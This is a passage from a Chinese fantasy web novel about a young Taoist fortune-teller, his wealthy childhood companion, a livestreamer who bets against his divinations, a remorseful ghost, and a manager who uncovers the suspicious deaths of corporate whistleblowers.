袁思雨有点遗憾。 不过想想容镜的条件和本事,对特殊部门不感兴趣倒也正常。 “行,那就这样,不打扰你去摆摊,我先走啦。” 容镜朝她挥手,目送她离开后,走向了次卧,看到了被挂起的锦旗,咔嚓咔嚓地拍照。 他的朋友圈里没什么人,但还是兴冲冲地发布了照片。 宋特助看着照片里露出的那只调整锦旗位置的手,一边点赞,一边感慨—— 他们谢总什么时候干过这事? “你在看什么?”头顶落下阴影,熟悉的声线带着漫不经心的调调入耳,宋清主动的将手机递过去,“看谢总为爱挂锦旗。” 然后瞅一眼陆云霁握在手中画面闪烁、疑似是某短视频软件页面的手机,好奇地问:“陆总在看什么?” 陆云霁哦一声,也将手机放到了桌上:“看谢长时那个消失了十二年的宝贝崽子大战犯罪嫌疑人。” 15、第 15 章 015. 听到‘宝贝崽子’四个字,宋清的耳尖动了动,脚下一蹬,椅子的滚轮在地板留下一道弧线,带着人凑到了手机前。 低头,入目先是摇晃的画面,随后光线逐渐聚焦在少年干净白皙的脸上。 果然是容镜。 宋清只从大汉的口中听到轻飘飘的一句“一拳头就把那犯罪嫌疑人给揍得找不到东南西北”,但现场的画面却未瞧见一丝一毫。 如今有机会,他当然没错过。 很快,男人握着匕首不停向前试图刺入容镜的后腰,容镜蹙着眉不满的表情以及干净利落比起职业选手还要专业的动作宛若武打电影撞入宋清的眼中。 当看到容镜隔着那么老远的距离,却准确无误地将木椅长腿杂砸至男人后脑时,宋清下意识摸了摸自己的脑瓜,好像突然明白为什么他们谢总关心的是犯罪嫌疑人死没死,而非容镜出没出事了。 宋清:“……” 他的心中唏嘘,目光不经意往屏幕边缘转了转,顿感惊讶:“嚯,这么高的点赞评论呢?” 九十八万点赞,十二万评论,还有一百万的转发。 陆云霁转了个身,后腰抵着桌面边缘,抱着双臂懒洋洋道:“是啊,都上热搜了。” 他的手指点了点搜索框,下方果真出现了#被挟持人质出手干翻犯罪嫌疑人#的话题,还排在高位,足以可见热度有多高。 “这些评论也挺有意思的,喊哥哥弟弟、老公老婆、爹和儿子的应有尽有。” 几分钟前陆云霁刷到这个视频时,已经眼疾手快地留了截图发给谢长时。 结果谢长时没回复。 看宋清的朋友圈才意识到谢总这会正忙着给宝贝崽子挂锦旗。 以前他拿糖葫芦想哄容镜喊他一声哥哥,谢长时看他的眼神都跟注了冰似的。 ——这一次怕是要把眼睛给冻瞎了吧? 宋清瞧见陆云霁的嘴角一点点翘起,眼角不受控制地一跳。在他们谢氏,陆云霁是公认的老狐狸,整天笑眯眯懒洋洋的,又因为履历牛逼且长得实在好看,曾在谢氏领导受欢迎度中排名第一,是许多年轻下属的梦中情导。 直到这只老狐狸露出了阴险狡诈的一面,众人才惊觉,这人心竟然是黢黑的。 尤其是笑起来的时候,最黑了。 于是,最受欢迎变成了最不可能招惹。 宋清果断转移了话题:“刚刚您说容镜消失了十二年?” “是啊,我和谢长时上高一的那一年,上学期总是瞧见那小崽子跟个小尾巴似的围着谢长时转,下学期就突然没了踪影,我问谢长时他家崽去哪儿了,结果人家理都不理我。” 陆云霁和谢长时认识的时间其实很长。 谢长时是在初二的时候转到绥县来的,陆云霁还记得对方背着书包冷冷淡淡站在讲台前自我介绍的模样,情绪和声音都是冷的。 班里的学生见他长得好看,都想跟他交朋友,可惜的是没人成功。 偏偏陆云霁又是个不信邪的,谢长时退一步,他就厚着脸皮进两步,久而久之,他也能跟谢长时搭上话,唠上一两句了。 再后来的某一天,谢长时出门时身后多了条尾巴,小尾巴眼眶有点红,看上去像是受了天大的委屈。 陆云霁指着谢长时,惊讶道:“谢长时你怎么欺负小朋友!” 尤其是这个小朋友长得这么可爱。 面对他的指责,谢长时只瞥了他一眼,用眼神表达他的无言,倒是那小尾巴揪着谢长时的衣服,小声解释:“谢长时没欺负我,他是要带我去装牙齿的。” 他冲陆云霁龇了龇牙,露出了虎牙位置缺失后的空洞黑块给陆云霁看。 模样怪可爱的,缺牙的样子也怪搞笑的。 陆云霁一下没忍住,笑出了声。 “然后呢然后呢?”宋清听得起劲,满眼写着‘快说’两个字。 然后? 陆云霁哼笑一声:“然后小尾巴意识到我在嘲笑他,嚎得整条街都听到了,谢长时怎么哄也哄不好,只能踹我两脚解气。” 最关键的是,当时他青葱年少,还能算个好人,看小朋友哭得那么伤心,也觉得心里难安,索性掏出了一周的零用钱,给容镜买了一麻袋的零食。 也不知道时隔十二年,小尾巴还认不认得他。 “我记得……”陆云霁突然开口,“前几天谢长时突然醒来,去了一趟绥县?就是去接容镜的?” 宋清还沉浸在陆云霁的故事中,无意识地点了下头。 等回过神来时,脑袋里却突然出现了南城墓园的负责人给自己打的那通电话。 ……突然出现的棺材,突然出现的容镜。 该不会那十二年,容镜真在棺材里躺着吧? 换以前宋清肯定觉得不可能,可经历过程璞玉一事,他连鬼都见着了,有什么不可能的? 宋清吸了一口气。 … 容镜在中午时分来到长华街的时候,明显察觉到有许多人在自己的摊位前徘徊。 他抱着自己的背包一坐下,还未来得及跟莫景同打招呼,一支话筒就探到了唇边。 容镜抬头看去,身穿短袖,胸口别着[雁城电视台]铭牌的男人冲他温和地笑了笑,询问:“你好,我是雁城电视台的记者,我叫做郜永元,不知道有没有机会对您做一次采访。” 出门前谢长时便告诉他,今天的长华街可能会有很多人来他的摊位前凑热闹,容镜倒是不介意。 而且他给自己算了一卦,卦象显示他今天要赚很多钱! 如今听到这个问题,当即眼睛一弯。 他要是接受了采访,出现在电视机上,不就相当于雁城电视台免费给他做宣传吗? 容镜坐直了腰板:“当然可以。” 郜永元被他的反应逗笑,出口的声音更加温和了几分:“我就问一些简单的问题,绝对不会让你为难的。” 采访围绕着容镜当时被挟持的心情、内心想法等展开,后续还谈到了容镜的工作。 半个小时后,郜永元和容镜拍了张合照,今日份工作就算结束了。 但等到拍摄团队坐车离开,他却意料之外地将清瘦的身体往前一弯,坐在了容镜对面专属于客人的小椅子上。 一抬眼,注意到容镜蹭一下亮起的眼睛,郜永元忍不住笑了一下:“我想找容先生算个卦。” “我今天上午去采访柳女士的时候,她跟我说容先生算卦非常灵,所以我想请容先生算一算我朋友的现状,他……遇到了一些难以抉择的问题。” 郜永元并没有将所谓的‘难以抉择的问题’清楚地告知容镜,后者也不介意。 干这一行的,遇到最多的就是谜语人了。 毕竟,大部分人对算卦一事其实并没有太多的信任。 “离下坤上,光明被阻,卦象明夷,爻辞初九,告诉你朋友,比起行动,自保才是关键。” 容镜托着腮,看向郜永元,对上他微微怔愣的眼眸,祈祷:“希望你朋友是个听劝的人。” 郜永元听到这话,像是想到了什么,眉心微蹙,也不再耽搁时间,扫了五百后,礼貌地起身告辞。 他一走,旁边不少围观的人跃跃欲试。 有人问:“大师,能不能打个折啊,五百有点贵了。” 容镜笑眯眯的:“只能打骨折哦。” 对方:“……” 见识过容镜昨天干翻犯罪嫌疑人的场面,他对‘打骨折’三个字丝毫不怀疑。 在他迟疑不定时,身后挤过来一道人影,那人高举着手机,喊着:“让让,让让,我来请大师算卦的。” 人群中让出一条通道,一头黄发、看上去二十七八岁的青年挤到了摊位前,一屁股坐下时,手机的摄像头对准了容镜的脸。 注意到容镜疑惑的目光,他迅速解释:“我是个主播,刚才刷到了那个美食主播柳柳的直播,她在直播间把你吹得简直前无古人后无来者,所以我想来试试你的卦是不是真的这么灵。不然她这算涉及虚假宣传,要被封号的。” 然后瞥一眼五百一卦的小牌牌,嘴角噙起一抹笑:“但光算卦我又觉得没意思,这样,我们来赌一下吧。五百一卦太便宜,如果你算卦真的算准了,我给你十万。但如果你算的不准,你给我五万就行。怎么样,还挺划算的吧?要不要赌一下?” 虽然这个黄毛笑容满满,但容镜敏锐地察觉到了他言语间透露出来的恶意。 他的目光似不经意瞥过黄毛的右后方。 摊子周围明明人很多,但右后方却奇异地出现了一个真空地带,偏生还未有人察觉到不对。 容镜收回目光,问他:“你想算什么?” “什么都行,你就挑你最擅长的。” 容镜见他信心满满的模样,随口道:“那就给你算算事业吧。” 一两分钟后,铜钱摊开,少年伸手指了指:“离上离下,九四爻,” 黄毛:“什么意思?” 容镜记仇,想到他的不怀好意,说话也不带客气的:“意思就是让你没那真本事,做人就别太嚣张,否则小心从天上掉下来,啪叽,摔成渣渣。” 黄毛哈了一声,差点笑出来。 他算是看出来了,容镜是真不认识他,没看过他的视频,不知道他有多少粉丝,如今在网上有多火。 否则怎么也说不出这话来。 他正欲开口,耳边忽然响起一道懒洋洋的声音:“这位朋友,其实你要确认这小道长算得准不准也挺简单,你跟他反着来就是了,你做人嚣张点张扬点,看看会不会跌下来,不就行了?” 16、第 16 章 016. 张埠和其同伴被逮捕,警方确认了二者连环杀人犯的身份以后便全网发了警情通报。而在得到袁思雨的肯定回复以后,柳柳开了直播跟自己的粉丝们讲述了这几天发生的事情。 虽然大致事件他们已经在警情通报上看过了,但作为当事人之一的柳柳补充的细节更令人毛骨悚然、身临其境,让屏幕之后粉丝们的脸都白了白。 柳柳也呼出一口气:“把这件事情细说给你们听,是因为想通过我自身的经历告诫大家,就算以后做好人好事也要有所防备。毕竟,很多坏蛋丧心病狂,利用的就是大家的善意和同情心。” 她瞥到弹幕说她运气好,笑了一下:“确实运气好,要不是咱们容大师,你们可能都看不到这个直播了。” 柳柳开直播间前就确定了两件事情: 提醒网友注意人身安全以及给容镜拉生意。 如今有了机会,她自然而然地将话题带到了容镜的身上:“对啊,就是那天摆摊遇到的帅弟弟。而且,很巧合的是,我遇到那事之后去长华街散心,正巧碰到他在摆摊。接下去发生的事情么,就是你们看到的那个疯传的视频了——” “对,”柳柳笑吟吟地弯起眼睛,“他就是那个大战犯罪嫌疑人的人质。” 她这话一出口,直播间满屏都是问号和感叹号,足以可见粉丝们震惊的心情。 [握草!我看了那个视频,我们教练还说小哥哥是个练武的好苗子,想去联系对方加入我们武馆,没想到人家是个真道士啊。] [我们柳柳也是遇到贵人了。] [昨天我在现场,看到全程了,太刺激了。] [那个小道士算卦真的很灵吗?不会是主播和对方联合炒热度吧?] [你有事没事,炒热度还带案件呢?更何况人家男孩子可是在这次案件里出了力的好吧?] [前面的这就是你认知狭隘了,我又没否认那个叫容镜的在此次案件中的付出。我只是认为两人有可能把这次的案件当做跳板。毕竟,这么好的热度,把握住了,骗人的生意不就好做了吗?] 柳柳看着从大片惊叹发言变成质疑她和容镜的弹幕,尤其是那个叫做[张六]的网友一口一个‘骗人的生意’,眉心不由得微微一皱。 但很快,她的表情舒展,神情也冷静下来,开口道:“大家都是成年人了,能自己做决定,我也没有把刀架在你们脖子上。你们有需要的同时也相信我,那就去支持容镜的生意,没需要也不相信我,就不必多说废话,人家要真是个骗子,警察会把他抓走的,用不着你们操心。” 柳柳的大部分粉丝都跟了她好几年,知晓她的性格,也知道她不会骗人。 纷纷在弹幕上安抚她。 几分钟后,那个叫做[张六]的账号再次出现,并且道:行了,主播也别挣扎了,常哥已经去替各位探真伪了。 常哥? 柳柳在脑海中过了一遍这个名字,随即眉心微挑。 她现在所在的短视频软件名为云语,各个类型的博主层出不穷,像她本人是靠做甜品出名的,而所谓的常哥则是靠炫富积累了上千万粉丝。 他平时的视频拍摄日常就是开不同的豪车、出入不同的高档场所,偶尔也会在直播间抽取粉丝进行聚会,作为粉丝福利。 大家都认为他是个富二代。 他去找容镜了? ……怎么看上去他才是蹭热度的那个? 柳柳对常哥的印象不是很好,偷偷摸摸翻了个白眼。搜到了常哥的直播间,目睹了常哥挑衅容镜的全程后,她捏了捏拳头,藏在镜头后用力挥了一下。 真想一拳把这傻缺锤到八百里外。 好在那道懒洋洋的声音传来,令柳柳眼睛猛地一亮。 她亲身经历过,知道容镜的卦算得有多准,所以面对不知名声音主人的提议,简直不能更同意,恨不得举双手双脚赞成。 于是毫不犹豫地在常哥的直播间开口怂恿:是啊,常哥你想打假的话,这不就是最简单的法子吗? 柳柳的出现引起了直播间很多人的注意。 而本质上只喜欢凑热闹起哄的观众们也来了兴趣。 没一会儿,整个直播间的弹幕都逃不掉‘就这么做’四个字,甚至还有‘好心’观众在短时间内为常哥制作了一套如何嚣张做人的行事表。 直播间疯狂上涨的观看人数令常哥心动,但被带节奏的乱象还是令他忍不住狠狠皱眉,他道:“我当然知道反着来就能打假了,但做人嚣张点,怎么个嚣张法?难道要我开着我刚提的兰博基尼去闹市区飙车吗?这不等着交警上门把我带走吗?那我不如直接送这位‘大师’十万块算了。” 他说到‘大师’二字的时候刻意加重了语调,像极了嘲讽。 常哥又不是没脑子。 他要是真做以上那种事,别说交警了,云语都能以‘劣迹主播’这四个字将他给封杀咯。 那倒确实符合事业夭折这一卦象。 众人一听也觉得有道理,刷弹幕的手纷纷顿了顿。 容镜面对常哥的质疑,没有特别的反应,只是托着白生生的脸,语气显得很无辜:“你不需要刻意做什么,你需要按平时的风格做事就好了。” 卦象显示,他平时做人就足够嚣张了。 常哥闻言微愣,随后上下打量容镜,颇有几分不可思议:“你确定?” 容镜点头:“当然。” 笑容重回常哥的脸,他眉梢挑起:“那就这么说定了,一个月为期,怎么样?” 容镜却道:“不用一个月,七天就够了。” 七天? 常哥差点笑出声。 他本来还想给容镜多点挣扎的时间,没想到容镜这么自大。 他摆摆手,示意七天就七天,然后起身离开了。 走时他看了眼自己的粉丝数量,十来分钟内竟然涨了快一万,于是一边往外走一边吆喝:“想知道这位‘容大师’到底有没有别的主播吹得那么牛逼的,可以关注主播,七天后主播带你们拆穿他的真面目!” 刚吆喝完,粉丝数量再度上升。 常哥翘起了嘴角,满意地回到了豪车上。 另一边。 热闹逐渐散去,小摊周围的人数也逐渐减少。 但一道修长高挑的身影却逆着人群来到了摊位前,优雅地整理了下身上的西装外套,拉开椅子坐下。 男人出色的面孔带笑,对容镜颔首:“小道长给我算一卦。” 容镜的视线从常哥的右后方收回,表情古怪地瞅他两眼,然后问他:“算什么?” 男人若有所思地摸了摸下巴:“要不,就算算我叫什么。” 容镜:“……” 一旁的莫景同也撑起了脑袋,用看神经病的表情看男人。 他觉得对方不该来算卦,应该先去看脑袋。 两人的视线着实没遮没掩,分外直白,但男人却像是浑然不觉,眉梢微微挑起,笑吟吟地问:“怎么,算不了吗?” “能算,五百。” “扫过去了。”嘀的一声后,男人长指握着手机让屏幕在容镜的面前晃了一下,‘支付成功’四个字格外显眼,“现在你可以算我的名字了。” 面对男人充满兴味的目光,容镜面无表情,一开口就是绝杀:“万年老二。” 陆云霁笑容一僵:“…………?” … 晚上七点。 容镜收起算卦摊前往餐厅。 随着服务员一同走入包间,容镜耳朵一竖,听到了来自陆云霁的抱怨:“我说谢长时,小尾巴是不是跟你待一块待久了,从白白嫩嫩的小年糕变成了个黑心芝麻汤圆?” 谢长时早已从宋清的口中得知了今日发生在长华街的事,听到这话,连眼皮都没多掀一下:“他是黑心芝麻汤圆,那你是什么?” 黑心肝也好意思说容镜这只心思稚嫩的小僵尸心黑? “是、万、年、老、二!”容镜的声音猝不及防地从传来,紧接着脑袋从谢长时的身后探过来,冲试图告状的陆云霁做了个鬼脸。 陆云霁:“……” 怎么回事,难得说次小尾巴的坏话,就被人听了个正着。 陆云霁轻咳一声,摸了下鼻子,然后跟容镜打商量:“小尾巴,给个面子,别老提老二老二的,多难听,要叫云霁哥哥。” 话刚落,就感觉小腿一疼。 他撩开桌布,谢长时的长腿正淡定如常地收回去。 陆云霁:“……你踢我干嘛?” 谢长时瞥他:“你看错了,眼神不好建议先去医院。” 陆云霁:“?” 到底是他眼神不好还是谢长时老年痴呆,刚刚干过的坏事转眼即忘。 陆云霁冷笑一声。 谢长时没理他,示意容镜在身侧坐下,卷起衬衫袖口,露出一截戴着红绳的劲瘦冷白手腕,他垂眸将冲洗干净的水杯递过去,容镜没觉得被伺候有哪里不对,灌了一杯水,挤过去说:“宋特助说这里的酸菜鱼特别好吃,我想吃酸菜鱼。” “可以。” 陆云霁憋了三秒钟,看他们俩相亲相爱的模样嘴又有点痒,突然问谢长时:“谢总,你还记得我奶奶吗?” 谢长时手上动作一顿,抬眼看他:“你想说什么。” 陆云霁:“没什么,就是觉得看到您老这模样,梦回我奶奶当年喂我吃饭的温馨场景。” 谢长时:“建议立刻去医院,眼科转精神科。” 17、第 17 章 017. 精神科没转成,陆云霁还报复性地点了整个餐厅最贵的菜,又开了两瓶价格最昂贵的酒,试图让谢长时的钱包大出血。 然而这样的挑衅对谢长时来说,和过家家并没有区别。 “你要是实在无聊,早点回家多开两个会。”谢长时掀了掀眼皮,将一只剥得干干净净的大虾放到了容镜的碗中,声音淡淡。 陆云霁翻白眼:“我才不要。” 好不容易下了班,还回去开会,他又不是贱得慌。 他看向容镜,狭长的桃花眼眨了眨:“十二年没见,我还没和小尾巴联络感情呢。” 说完他就问容镜:“小尾巴,你当时一声不吭去哪儿了?你是不知道,那段时间谢长时的脸色有多难看,上课也不认真听讲,经常发呆,还被班主任当着全班的面批评,咦,可惨了。” 容镜握筷子的手一顿。 注意力也从面前的碗落到了谢长时的脸上,然而男人手一抬,还未对上少年的眼眸就将他的脸重新掰回去,语气平静:“他说的话你也信。” 容镜心想也是,从前陆云霁就特别喜欢逗他。 陆云霁眉梢微扬起,眉眼间透露出几分意味深长的神色。 虽然当时的情况的确没他说得那么夸张,但那段时间谢长时的心不在焉却是真实存在的。 讲台上数学老师喊着第几页第几题,结果谢长时一低头,桌上放的是语文课本。 到了中午吃饭时间,他也没有跟随大部队往食堂走,反倒是走向了校外,因为他下意识认为家里还有只嗷嗷待哺的小僵尸。 等反应过来,他垂着眼眸,默不作声地重新走向食堂,陆云霁早已有所准备地将多打的那份午餐推过去。 想到这些,陆云霁忍不住再次戳戳容镜细白的胳膊:“小尾巴,你还没告诉我你去哪儿了呢。” 容镜咬着虾尾,眨眨眼:“回老家了。” 哦。 回老家啊,怪不得。 “你老家哪儿的?” “棺材。” 陆云霁一懵,扭头看向谢长时:“这是哪儿?怎么起这么晦气的名字?” 陆云霁自认为自己见多识广,大学的时候得空就往外跑,也算是领略过祖国大好河山的人了,但‘guancai’这地方确实没听过。 谢长时垂眸瞥见容镜那双乌溜溜的眼眸里露出来的不怀好意,没忍住,勾起了薄唇。 继而回答陆云霁:“现在不知道没关系,以后会知道的。” 陆云霁:“啊?” 他怎么不知道谢长时什么时候也变成谜语人了。 在他还疑惑的时候,谢长时慢条斯理地补充:“总有机会去的。” “是这样吗?” “嗯。” 两人的对话顺畅如流,陆云霁也没注意到已经快将脑袋埋进大碗的容镜咧着大大的笑容,强忍着没笑出声。 以前都是陆云霁逗他,这回终于轮到他和谢长时逗陆云霁了。 … 一顿晚饭吃得还算和谐。 在餐厅的地下车库分别前,容镜摸了摸圆鼓鼓的肚子,一边打哈欠一边从谢长时的身后露出半张脸,对陆云霁道:“今天收了你五百,你求的那卦不算,你要是有其他想算的,随时找我。” 听到这话,陆云霁不由得挑眉。 他去长华街找容镜算卦纯粹是想知道这小尾巴还记不记得自己,对算卦本身并没有太多兴趣。 陆云霁问:“那我要是没什么想算的呢?” 容镜虽然不情愿,但还是实话实说:“那我就把钱退给你。” 陆云霁是个擅长观察的,一见容镜这表情便觉得好笑。明明身旁还有个谢长时呢,十二年前的谢长时可能穷了点,但如今的谢长时……别说五百了,后面加个亿也不在话下,竟然还心疼五百块。 唔,虽然不太愿意承认,但谢长时说的确实对。 还是个白白嫩嫩的小年糕,跟黑心芝麻汤圆扯不上关系。 他改不掉想逗容镜的习惯,但目光扫到谢长时,到底还是忍下了,点头说:“行,但今天就算了,下回一起吃饭或者你跟谢长时来公司的时候,我找你算。” 陆云霁朝两人懒洋洋地挥手,转身走向一旁的车。 谢长时见状便也带着容镜回了云江湾。 今天的容镜在工作一天后终于略有盈余,一回到家就趴在桌上开始记账。 谢长时站在他身侧看了几秒,不由得觉得好笑。 容镜的记账只记收入,颇有几分自欺欺人的色彩。 “记完账早点休息。” “唔,知道啦,晚安。” “晚安。” 半个小时后,回到房间的容镜抱着玩偶刚躺下,就听到‘嘟嘟嘟’的窗户被敲响的声音。容镜赤着脚下床,撩开了窗帘,对上一张疲惫、苍白、生无可恋的鬼脸。 容镜:“……你怎么来了?” 程璞玉先是很有礼貌地问容镜自己能不能进来,在得到肯定的回复以后,果断穿墙飘到了少年的面前,然后一屁股坐在地上,整个鬼委屈得厉害:“想来问问你,如果我一不小心、一不留神、一个没注意、纯粹是无心地把人吓晕了,我还能留在人间吗?” 容镜听着这些个试图撇开关系的形容词,听得头都大了,不免好奇地问他:“你干了什么?” 程璞玉沉默了两秒,到底还是选择实话实说。 “宋哥让我对接的一个客户像个傻逼,事特别多,我哄着他他就来劲,这儿不对那儿不对,还问我谢氏的员工就这水平到底是怎么成为全国第一的……我很生气,明明都是他自己的问题,他还怪到我身上,然后我没忍住,沿着网线出现在他家里,把他吓晕了。” 程璞玉做鬼这么多年,它第一次冲动犯浑是因为遇到了谢长时,今天则是第二回。 前者是因为谢长时太香了,后者是因为客户太欠了。 但程璞玉冷静下来见到人倒了,也吓坏了,试探过对方的气息,发现对方只是单纯地晕了,连忙打了120,随后就跑容镜这边来求助了。 想到自己干的事,程璞玉耷拉着头,跟只犯了错的小狗似的。 容镜拍拍它的肩膀,想了想说:“你去医院看看,人到底有没有事。” 程璞玉干巴巴地哦一声,又飘走了。 第二天一早。 宋清拎着早餐来到云江湾,一进门就迫不及待地跟容镜和谢长时分享消息:“我今天看朋友圈,蒋氏那个叫陈荣的说昨晚遇到鬼了!” 谢长时三天两头碰到鬼,对此并没有多在意。 倒是容镜喝牛奶的动作顿了一下,然后凑过去打探消息:“怎么说?” 宋清打开朋友圈,翻到了陈荣的的动态。 陈荣:草,老子真疯了。昨晚跟谢氏的人聊得好好的,面前突然出现一个鬼影,我以为是我看错了,结果那鬼影越飘越近,愣是把我给吓晕了。 下面的评论是:陈总是不是最近太累了。 陈荣:是吗?我也以为是我太累了,出现幻觉了,但我醒来的时候是在医院,医生告诉我有人给医院打了120,可我家就我一个人,除了鬼谁会帮我打电话/微笑 宋清指着陈荣附上的一张从网上下载、还没有祛除水印的‘百鬼退散’黄符纸图片,颇为感慨:“这么看来,他遇到的鬼还挺友善,知道帮他打120急救。” 容镜眼神往边上飘了一下,准确无误地落在抱着抱枕、缩在斜对角沙发上并且面露心虚之色的程璞玉身上。 然后点点头,表示肯定:“确实。” 最后再友善提醒:“对了,你记得告诉他一声,这符纸下载错了,这不是百鬼退散符,是招魂符。” “招魂符?” “是呀,”容镜托着腮帮,毫不留情地补刀:“专招怨魂。” 18、第 18 章 018. 宋清做梦都想不到网上随便下载的一张符纸图片还能招怨魂。 他突然想到了前阵子自己跟风转发的‘一夜暴富’符,连忙调出来递到了容镜面前,不耻下问:“您看看,这是什么符?” 容镜盯着看了三秒:“什么也不是符。” 宋清:“啊?” 容镜看他的眼神像是在看什么大笨蛋,但碍于今天宋清为他提供了陈荣的消息,他还是耐下心思解释:“什么也不是,没这个符,他乱画的。” 但凡有这种‘一夜暴富’符,十二年前谢长时就该发大财了。 说不定他装的那颗牙得再上几个档次。 宋清虽对没有‘一夜暴富’符感到难过,但一想到这符纸起码没有张冠李戴,不是招魂符,又松了一口气。 … 一晃两天时间过去。 这两天,容镜还是照例在长华街摆摊,前来长华街凑热闹的人数也不见减少。 柳柳偶尔会挑个太阳不晒的时间段过来窜门,跟容镜汇报一下常哥的情况。 “你让他按平时的风格行事,他还真一点都没收敛。昨天他晚上,他直播抽奖抽了整整三百万的现金,还抽了几个粉丝说是带出去见见世面。” 柳柳低头打开手机。 昨天的直播都有录屏,她找了一段给容镜看,又补充道:“有人爆料说,所谓的世面就是常哥的交际圈,他和雁城的豪门少爷们的聚会。” 容镜不知道想到点什么,咬着橙汁的吸管问:“这些粉丝不会都是女孩子吧?” 柳柳一愣:“这我倒没注意过。” 不过网上搜一搜说不定可以搜到。 果然,柳柳在搜索框打下关键词后没多久,便出现了一个相关词条。 常哥这人虽然只是个网红,但背后的mcn惯会营销,手段不比国内某几位当红明星差。都扯上豪门聚会的大旗了,肯定不会轻易放过博热度的机会。 发视频的是一个叫做[碎碎念]的账号,对方直接录屏了常哥直播间开奖的片段,并嘀嘀咕咕地表示眼馋极了。 柳柳找到那些账号点进去。 能参与聚会的一共有六个人,其中四个人是女孩子,另外两人的账号上没有显示性别。 容镜接过手机多看了两眼,四个女孩子的账号下方都有平时的生活痕迹,不少视频里透露出了现下的生活状况、职业身份,而且长相都不赖。 “常哥这抽奖抽得还挺有水平,”柳柳说着,又改口,“不过云语的抽奖是自己设置的。” “自己设置?” “嗯,分免费抽奖和付费抽奖,前者大家都可以参与,后者必须有一定的粉丝等级。这还不是关键,最关键的是云语的抽奖系统可以直接设定中奖人身份。” “先前有一个叫做刺猬的博主,做数码产品的,三天两头在直播间搞抽奖,因此吸引了很多观众,但大家逐渐发现,他的中奖对象小号偏多,而且ip地址都一样,后面就被扒出来这些小号其实都是他自己的。” 柳柳看到这个八卦的时候也不免感慨一声对方真会做生意。 先利用数码产品作为噱头吸引观众进行付费抽奖,到最后昂贵的数码产品是自己的,抽奖的收入也是自己的。 “看常哥这个中奖人账号,可能性应该不大吧,ip都不一样,甚至还有国外的。” 容镜未对柳柳的疑问进行任何解答,恰巧摊位前来了一个客人,是个看起来三十岁上下的精英女性,一身黑色休闲西装加身,配上齐肩的黑色直短发,有种极致的干练感。 她显然是有备而来,一路从街头走到街尾,瞧见标志性的‘五百一卦’的小牌牌,才舒出一口气,拉开椅子坐下,手中昂贵的拎包放置于膝盖,温声与容镜打招呼:“大师你好。” “你好,请问有什么需要吗?” “实不相瞒,我叫束媛,和方宇是大学同学。” 方宇? 容镜后知后觉地想起,谢长时给他买了手机以后,他加了方宇的微信,当时方宇还信誓旦旦地说要给他介绍生意。 他眨了眨眼睛,问:“方宇哥介绍你来的?” “也能这么算。”束媛笑了笑,解释得更加清晰,“是这样的,前两天出了张埠的新闻之后紧接着您这边又来了主播打赌,方宇转发了视频在朋友圈,并认为这次的赌约您一定会赢,我觉得好奇,就私下里跟方宇聊了聊,这才知道原来他的升职加薪都离不开您的提醒。” 束媛说到‘升职加薪’相关的时候,笑着的眉眼似落下了一层很薄的阴影,随后,视线扫过周围人来人往的地界,再看还有些好奇的目光落在小摊以及他们几人的身上,便提议:“我想找您算的事情有些私人,如果您不介意的话,不如去附近的咖啡厅,可以吗?” “当然。” 一旁的柳柳见状赶紧道:“我在这边帮你看着摊子。” 咖啡厅就在距离长华街不到五百米的道路旁,束媛显然是这里的熟客,征求了容镜的意见,为容镜点了一杯港式奶茶以后,才端起自己的美式缓缓开了口:“我想问的其实也与工作有关。” “我现在就职于丹枫集团旗下子公司,职业算经理,我个人还是相当满意的。但最近,我的上司告诉我,我有机会更上一层,只不过与我相争的是公司的一位前辈,按照目前的情况来看,他胜过我的可能性更大一点。” “您认为,我要继续争吗?” 陡然听到这么个问题,容镜还有点意外。 他虽然不上班,不懂公司里的弯弯绕绕,但束媛这么年轻就做到了公司经理的职位,足以可见她的能力出众,而且本人应该也是很有想法、很果断的女性。 不过,既然是客户的问题,容镜收了钱,自然得为对方解答。 “上乾下坎,阳爻阴位,在下卦。”容镜垂眸用指腹拨弄着桌面上的铜钱,在束媛的注视中说出了最确切的答案,“卦象让你退避三舍。” 否则便会招致更大的灾祸。 ……灾祸? 与如今困扰束媛的问题相比,‘灾祸’二字的程度似乎显得有些沉重了。 但多的容镜并未开口询问。 而束媛则是若有所思地用手指蹭着咖啡杯冰凉的杯壁,妆容精致的眉眼微微下垂,半晌才朝着容镜露出笑容:“谢谢,我知道了。” “别客气,我收了钱的。” “加个微信吧,以后说不定还有拜托容大师的地方。” “好。” 扫了码,加了好友,容镜没在咖啡厅多待,喝完了最后一口奶茶,起身离开了。 他没将束媛的事情放在心上,直到两天后,意外在朋友圈看到了束媛发布的一条动态:辞职了。 图片是她的辞职信。 与此同时,束媛也收到了其他同事的询问:干得好好的,怎么就辞职了?就算没争过刘总,现在这个位置也不差啊。 束媛知道有很多人都在好奇她辞职的原因,她靠在公寓的办公桌前,任由身体放松地陷入黑色的真皮座椅,缓缓打字:太累了,正巧家里出了点事,得回趟老家。 同事回复:这样啊,还是有点可惜的,你年纪这么轻就坐到这个位置,足以证明你的能力强劲,以后肯定能站得更高。不过,有能力的人在哪儿都吃香,指不定离开丹枫未来会更好呢,祝你前程似锦。 同事的情商高,束媛自然也不会落下,说了声谢谢。 按灭手机屏幕,将手机扔到一侧,她重新坐直身体回到电脑前,视线往上移。 电脑亮起的屏幕停留在某页面: 雁城平阳街道北部路口于24日下午三点发生一起车祸,车祸导致三人丧生。 新闻报道有配车祸当时的图片,但图片的内容也只有车辆损坏、交警拉起警戒线的这部分,至于那三位死者的信息,光看图片是完全看不出来的。 只是…… 束媛看到了损坏车辆的车牌号。 雁a·v3986。 五天前,她才和车主以及车主的两位朋友就丹枫旗下子公司违规使用违禁品可能导致用户患癌一事有过交谈。 三天后,他们在前去举报的路上车毁人亡,无人生还。 而经过警方的调查,车子本身没有任何问题,出问题的是驾驶员。 道路两侧的监控拍到他在某一刻神情狰狞,突然大弧度转动方向盘,以130码的速度撞上了道路护栏。 19、第 19 章 019. 深夜。 窗外星子高悬,整座雁城都沉浸在寂静之中。 偶尔有一两辆夜行的车急驶而过,留下远光灯还未溃散的光芒,将道路两侧的绿植照亮。 森和小区,三十二层。 束媛合起窗帘,关闭电脑,转身离开书房走向卧室。 她今年三十,一直都是独居状态,每到夜深人静,一百平左右的房子也显得格外空荡。而今日,大概是受了新闻的影响,她甚至有种身处黑暗且身体不受控制颤栗的毛骨悚然感。 束媛垂下眼眸,眉心皱了皱,抒出一口气回到了卧室躺下。 她花了将近半个小时才勉强进入梦乡,但这一晚上注定睡得不安稳。 先是陷入昏昏沉沉的梦境,梦里都是车祸现场的画面,她看到被撞烂的车头后面两道位于前排的身影浑身破损,鲜血从他们的头顶一滴滴淌落,很快将整个座位都浸透。 